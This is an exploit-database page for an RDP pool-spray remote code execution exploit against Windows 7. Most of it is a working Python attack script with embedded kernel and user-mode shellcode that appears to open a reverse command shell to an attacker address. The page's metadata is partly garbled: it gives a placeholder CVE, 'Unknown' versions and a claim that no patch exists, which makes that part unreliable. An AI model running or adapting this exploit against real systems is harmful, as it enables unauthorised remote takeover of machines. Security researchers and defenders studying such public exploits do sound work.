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Suggest Exploit
vendor:
Remote Desktop Protocol (RDP)
by:
Unknown
9.8
CVSS
CRITICAL
Remote Code Execution
119
CWE
Product Name: Remote Desktop Protocol (RDP)
Affected Version From: Unknown
Affected Version To: Unknown
Patch Exists: NO
Related CWE: CVE-2021-xxxx
CPE: a:microsoft:rdp
Metasploit:
Other Scripts:
Platforms Tested: Windows 7
2021

RDP pool_spray Remote Code Execution

This exploit allows remote code execution on a target machine by leveraging a vulnerability in the RDP protocol. By sending a specially crafted payload, an attacker can overwrite memory and execute arbitrary code on the target system. This exploit has been tested and found to be successful on Windows 7 systems.

Mitigation:

To mitigate this vulnerability, it is recommended to apply the latest security patches and updates provided by the vendor. Additionally, restricting access to the RDP service to trusted networks or implementing network-level controls can help reduce the risk of exploitation.
Source

Exploit-DB raw data:

# EDB Note: Download ~ https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/47683.zip

import rdp
import socket
import binascii
import time

def pool_spray(s, crypter, payload):

    times = 10000
    count = 0

    while count < times: 

        count += 1 
        #print('time through %d' % count)

        try: 

            s.sendall(rdp.write_virtual_channel(crypter, 7, 1005, payload))

        except ConnectionResetError:

            print('ConnectionResetError pool_spray Aborting')

            quit()

def main():

    # change to your target
    host = '192.168.0.46'
    port = 3389

    times = 4000
    count = 0

    target = (host, port)

    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s.connect(target)

    crypter = rdp.connect(s)

    # this address was choosen for the pool spray. it could be be
    # modified for potentially higher success rates.
    # in my testing against the win7 VM it is around 80% success
    # 0x874ff028
    shellcode_address = b'\x28\xf0\x4f\x87'

    # replace buf with your shellcode
    buf =  b""
    buf += b"\xfc\xe8\x82\x00\x00\x00\x60\x89\xe5\x31\xc0\x64\x8b"
    buf += b"\x50\x30\x8b\x52\x0c\x8b\x52\x14\x8b\x72\x28\x0f\xb7"
    buf += b"\x4a\x26\x31\xff\xac\x3c\x61\x7c\x02\x2c\x20\xc1\xcf"
    buf += b"\x0d\x01\xc7\xe2\xf2\x52\x57\x8b\x52\x10\x8b\x4a\x3c"
    buf += b"\x8b\x4c\x11\x78\xe3\x48\x01\xd1\x51\x8b\x59\x20\x01"
    buf += b"\xd3\x8b\x49\x18\xe3\x3a\x49\x8b\x34\x8b\x01\xd6\x31"
    buf += b"\xff\xac\xc1\xcf\x0d\x01\xc7\x38\xe0\x75\xf6\x03\x7d"
    buf += b"\xf8\x3b\x7d\x24\x75\xe4\x58\x8b\x58\x24\x01\xd3\x66"
    buf += b"\x8b\x0c\x4b\x8b\x58\x1c\x01\xd3\x8b\x04\x8b\x01\xd0"
    buf += b"\x89\x44\x24\x24\x5b\x5b\x61\x59\x5a\x51\xff\xe0\x5f"
    buf += b"\x5f\x5a\x8b\x12\xeb\x8d\x5d\x68\x33\x32\x00\x00\x68"
    buf += b"\x77\x73\x32\x5f\x54\x68\x4c\x77\x26\x07\xff\xd5\xb8"
    buf += b"\x90\x01\x00\x00\x29\xc4\x54\x50\x68\x29\x80\x6b\x00"
    buf += b"\xff\xd5\x50\x50\x50\x50\x40\x50\x40\x50\x68\xea\x0f"
    buf += b"\xdf\xe0\xff\xd5\x97\x6a\x05\x68\xc0\xa8\x00\x22\x68"
    buf += b"\x02\x00\x11\x5c\x89\xe6\x6a\x10\x56\x57\x68\x99\xa5"
    buf += b"\x74\x61\xff\xd5\x85\xc0\x74\x0c\xff\x4e\x08\x75\xec"
    buf += b"\x68\xf0\xb5\xa2\x56\xff\xd5\x68\x63\x6d\x64\x00\x89"
    buf += b"\xe3\x57\x57\x57\x31\xf6\x6a\x12\x59\x56\xe2\xfd\x66"
    buf += b"\xc7\x44\x24\x3c\x01\x01\x8d\x44\x24\x10\xc6\x00\x44"
    buf += b"\x54\x50\x56\x56\x56\x46\x56\x4e\x56\x56\x53\x56\x68"
    buf += b"\x79\xcc\x3f\x86\xff\xd5\x89\xe0\x4e\x56\x46\xff\x30"
    buf += b"\x68\x08\x87\x1d\x60\xff\xd5\xbb\xf0\xb5\xa2\x56\x68"
    buf += b"\xa6\x95\xbd\x9d\xff\xd5\x3c\x06\x7c\x0a\x80\xfb\xe0"
    buf += b"\x75\x05\xbb\x47\x13\x72\x6f\x6a\x00\x53\xff\xd5"


    # bluekeep_kshellcode_x86.asm
    # ring 0 to ring 3 shellcode
    shellcode = b""
    shellcode += b"\x60\xe8\x00\x00\x00\x00\x5b\xe8\x26\x00\x00\x00"
    shellcode += b"\xb9\x76\x01\x00\x00\x0f\x32\x8d\x7b\x3c\x39\xf8"
    shellcode += b"\x74\x11\x39\x45\x00\x74\x06\x89\x45\x00\x89\x55"
    shellcode += b"\x08\x89\xf8\x31\xd2\x0f\x30\x61\xf4\xeb\xfd\xc2"
    shellcode += b"\x24\x00\x8d\xab\x00\x10\x00\x00\xc1\xed\x0c\xc1"
    shellcode += b"\xe5\x0c\x83\xed\x50\xc3\xb9\x23\x00\x00\x00\x6a"
    shellcode += b"\x30\x0f\xa1\x8e\xd9\x8e\xc1\x64\x8b\x0d\x40\x00"
    shellcode += b"\x00\x00\x8b\x61\x04\x51\x9c\x60\xe8\x00\x00\x00"
    shellcode += b"\x00\x5b\xe8\xcb\xff\xff\xff\x8b\x45\x00\x83\xc0"
    shellcode += b"\x17\x89\x44\x24\x24\x31\xc0\x99\x42\xf0\x0f\xb0"
    shellcode += b"\x55\x08\x75\x12\xb9\x76\x01\x00\x00\x99\x8b\x45"
    shellcode += b"\x00\x0f\x30\xfb\xe8\x04\x00\x00\x00\xfa\x61\x9d"
    shellcode += b"\xc3\x8b\x45\x00\xc1\xe8\x0c\xc1\xe0\x0c\x2d\x00"
    shellcode += b"\x10\x00\x00\x66\x81\x38\x4d\x5a\x75\xf4\x89\x45"
    shellcode += b"\x04\xb8\x78\x7c\xf4\xdb\xe8\xd3\x00\x00\x00\x97"
    shellcode += b"\xb8\x3f\x5f\x64\x77\x57\xe8\xc7\x00\x00\x00\x29"
    shellcode += b"\xf8\x89\xc1\x3d\x70\x01\x00\x00\x75\x03\x83\xc0"
    shellcode += b"\x08\x8d\x58\x1c\x8d\x34\x1f\x64\xa1\x24\x01\x00"
    shellcode += b"\x00\x8b\x36\x89\xf2\x29\xc2\x81\xfa\x00\x04\x00"
    shellcode += b"\x00\x77\xf2\x52\xb8\xe1\x14\x01\x17\xe8\x9b\x00"
    shellcode += b"\x00\x00\x8b\x40\x0a\x8d\x50\x04\x8d\x34\x0f\xe8"
    shellcode += b"\xcb\x00\x00\x00\x3d\x5a\x6a\xfa\xc1\x74\x0e\x3d"
    shellcode += b"\xd8\x83\xe0\x3e\x74\x07\x8b\x3c\x17\x29\xd7\xeb"
    shellcode += b"\xe3\x89\x7d\x0c\x8d\x1c\x1f\x8d\x75\x10\x5f\x8b"
    shellcode += b"\x5b\x04\xb8\x3e\x4c\xf8\xce\xe8\x61\x00\x00\x00"
    shellcode += b"\x8b\x40\x0a\x3c\xa0\x77\x02\x2c\x08\x29\xf8\x83"
    shellcode += b"\x7c\x03\xfc\x00\x74\xe1\x31\xc0\x55\x6a\x01\x55"
    shellcode += b"\x50\xe8\x00\x00\x00\x00\x81\x04\x24\x92\x00\x00"
    shellcode += b"\x00\x50\x53\x29\x3c\x24\x56\xb8\xc4\x5c\x19\x6d"
    shellcode += b"\xe8\x25\x00\x00\x00\x31\xc0\x50\x50\x50\x56\xb8"
    shellcode += b"\x34\x46\xcc\xaf\xe8\x15\x00\x00\x00\x85\xc0\x74"
    shellcode += b"\xaa\x8b\x45\x1c\x80\x78\x0e\x01\x74\x07\x89\x00"
    shellcode += b"\x89\x40\x04\xeb\x9a\xc3\xe8\x02\x00\x00\x00\xff"
    shellcode += b"\xe0\x60\x8b\x6d\x04\x97\x8b\x45\x3c\x8b\x54\x05"
    shellcode += b"\x78\x01\xea\x8b\x4a\x18\x8b\x5a\x20\x01\xeb\x49"
    shellcode += b"\x8b\x34\x8b\x01\xee\xe8\x1d\x00\x00\x00\x39\xf8"
    shellcode += b"\x75\xf1\x8b\x5a\x24\x01\xeb\x66\x8b\x0c\x4b\x8b"
    shellcode += b"\x5a\x1c\x01\xeb\x8b\x04\x8b\x01\xe8\x89\x44\x24"
    shellcode += b"\x1c\x61\xc3\x52\x31\xc0\x99\xac\xc1\xca\x0d\x01"
    shellcode += b"\xc2\x85\xc0\x75\xf6\x92\x5a\xc3\x58\x89\x44\x24"
    shellcode += b"\x10\x58\x59\x58\x5a\x60\x52\x51\x8b\x28\x31\xc0"
    shellcode += b"\x64\xa2\x24\x00\x00\x00\x99\xb0\x40\x50\xc1\xe0"
    shellcode += b"\x06\x50\x54\x52\x89\x11\x51\x4a\x52\xb8\xea\x99"
    shellcode += b"\x6e\x57\xe8\x7b\xff\xff\xff\x85\xc0\x75\x4f\x58"
    shellcode += b"\x8b\x38\xe8\x00\x00\x00\x00\x5e\x83\xc6\x55\xb9"
    shellcode += b"\x00\x04\x00\x00\xf3\xa4\x8b\x45\x0c\x50\xb8\x48"
    shellcode += b"\xb8\x18\xb8\xe8\x56\xff\xff\xff\x8b\x40\x0c\x8b"
    shellcode += b"\x40\x14\x8b\x00\x66\x83\x78\x24\x18\x75\xf7\x8b"
    shellcode += b"\x50\x28\x81\x7a\x0c\x33\x00\x32\x00\x75\xeb\x8b"
    shellcode += b"\x58\x10\x89\x5d\x04\xb8\x5e\x51\x5e\x83\xe8\x32"
    shellcode += b"\xff\xff\xff\x59\x89\x01\x31\xc0\x88\x45\x08\x40"
    shellcode += b"\x64\xa2\x24\x00\x00\x00\x61\xc3\x5a\x58\x58\x59"
    shellcode += b"\x51\x51\x51\xe8\x00\x00\x00\x00\x83\x04\x24\x09"
    shellcode += b"\x51\x51\x52\xff\xe0\x31\xc0"

    shellcode += buf

    print('shellcode len: %d' % len(shellcode))

    payload_size = 1600
    payload = b'\x2c\xf0\x4f\x87' + shellcode
    payload = payload + b'\x5a' * (payload_size - len(payload))


    print('[+] spraying pool')
    pool_spray(s, crypter, payload)

    fake_obj_size = 168
    call_offset = 108
    fake_obj = b'\x00'*call_offset + shellcode_address
    fake_obj =  fake_obj + b'\x00' * (fake_obj_size - len(fake_obj)) 

    time.sleep(.5)
    print('[+] sending free')
    s.sendall(rdp.free_32(crypter))
    time.sleep(.15)

    print('[+] allocating fake objects')
    while count < times:
        
        count += 1 
        #print('time through %d' % count)

        try: 

            s.sendall(rdp.write_virtual_channel(crypter, 7, 1005, fake_obj))

        except ConnectionResetError:

            s.close()

    s.close()


if __name__== "__main__":
    main()